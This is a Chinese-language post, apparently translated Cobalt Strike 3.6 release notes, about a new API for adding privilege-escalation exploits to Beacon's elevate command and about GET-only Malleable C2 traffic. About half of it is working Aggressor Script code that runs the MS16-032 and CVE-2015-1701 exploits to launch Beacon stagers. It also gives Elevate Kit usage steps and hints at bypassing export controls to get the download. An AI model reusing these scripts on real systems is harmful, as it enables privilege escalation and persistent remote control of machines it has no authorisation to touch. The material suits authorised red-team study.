简介
Cobalt Strike 3.6版本已经正式发布,此版本新增了一个用于调用Beacon的第三方提权漏洞利用程序的API,并扩展Malleable C2以支持不使用HTTP POST的HTTP C&C。同时该版本还对之前版本中存在的问题进行了修复和改进。
提权API
此版本新增了一个API将提权利用程序集成到Beacon的elevate命令。
下面以FuzzySec发现的ms16-032漏洞为例子,将变型的PowerShell Empire集成到Beacon中:
sub ms16_032_exploit {
local('$script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");
# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell");
# host this script within this Beacon
$oneliner = beacon_host_script($1, $script);
# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
bpowerpick!($1, "Invoke-MS16032 -Command " $+ $oneliner $+ "");
# give it another 10s to work.
bpause($1, 10000);
# handle staging
bstage($1, $null, $2);
}
beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);
接下来,我们试试别的。Metasploit框架应用了许多依照反射DLL(Reflective DLLs)注入原理提权的exploit。
Metasploit提权利用攻击的流程
首先生成一个patsy进程,其次将exploit注射到patsy进程,之后将stager shellcode payload注射到patsy进程,最后运行exploit DLL时通过一个指针指向已经完成注射的shellcode。
可能你会有疑问,是否还能在Beacon中使用这些DLL?得益于Aggressor Script中的bdllspawn函数我们依旧可以在Beacon中使用这些DLL。这个函数调用一个作用于Beacon post-exploitatio的反射DLL,它可以向DLL传递一个任意参数,并且可以监控标准输出。
以下脚本为使用ms15_051_client_copy_image的Beacon payload:
sub ms15_051_exploit {
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");
# tune our parameters based on the target arch
if (-is64 $1) {
$arch = "x64";
$dll = "modules/cve-2015-1701.x64.dll";
}
else {
$arch = "x86";
$dll = "modules/cve-2015-1701.x86.dll";
}
# generate our shellcode
$stager = shellcode($2, false, $arch);
# make sure we have shellcode for this listener (some stagers are x86 only)
if ($stager is $null) {
berror($1, "No $arch stager for listener ' $+ $2 $+ '");
return;
}
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, script_resource($dll), $stager, "ms15-051", 5000);
# stage our payload (if this is a bind payload)
bstage($1, $null, $2, $arch);
}
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
这些函数使得你的团队能更轻松的集成Cobalt Strike自定义功能,以及在Beacon中快速适配新的漏洞。
提权套件
如果你想了解更多提权相关的范例,可以查看Elevate Kit。此外还可以查阅Aggressor Script,该文演示了如何在Cobalt Strike的Beacon payload中使用PowerShell以及反射DLL exploit。
Elevate Kit使用方法:下载ElevateKit文件并将其提取到Cobalt Strike,进入Cobalt Strike -> Scripts,单击Load,然后选择elevate.cna
在Beacon中:键入elevate可查看当前加载的exploit列表。键入elevate [exploit name] [listener]针对当前Beacon会话实施利用。
Malleable C2
以下截图为Beacon与webbug_getonly profile的通信数据。
你可以猜到哪边是Beacon对Cobalt Strike发起的下载任务请求? 哪边是Beacon对Cobalt Strike做出的响应?
本版本通过使用Malleable C2很大程度上增强了Beacon的HTTP通信的灵活性。你现在可以为Beacon的http-get和http-post处理方式设置HTTP动词。同时还可以将Beacon的响应推送到URI、数据头或参数中。而且Beacon将其响应自动分块(并使用多个请求)以适应HTTP GET-only通道的约束。
如果你喜欢对配置文件的技巧以及分析发起挑战,我想这会带给你更多的乐趣。此外这些变化还使得“模拟”不同恶意软件的HTTP通信数据变得更精确。
。
点击发行说明查看Cobalt Strike 3.6中的新特性的完整列表。授权用户可使用更新程序获取更新,同时提供21天试用的Cobalt Strike trial版本也发布了。
注:由于美国出口控制要求,你得全局科学访问该使用版本下载页面。另外试用版本没有对Beacon任务以及响应加密,仅建议在实验环境下使用,切勿在生产环境下使用!授权用户则无此限制。
最新评论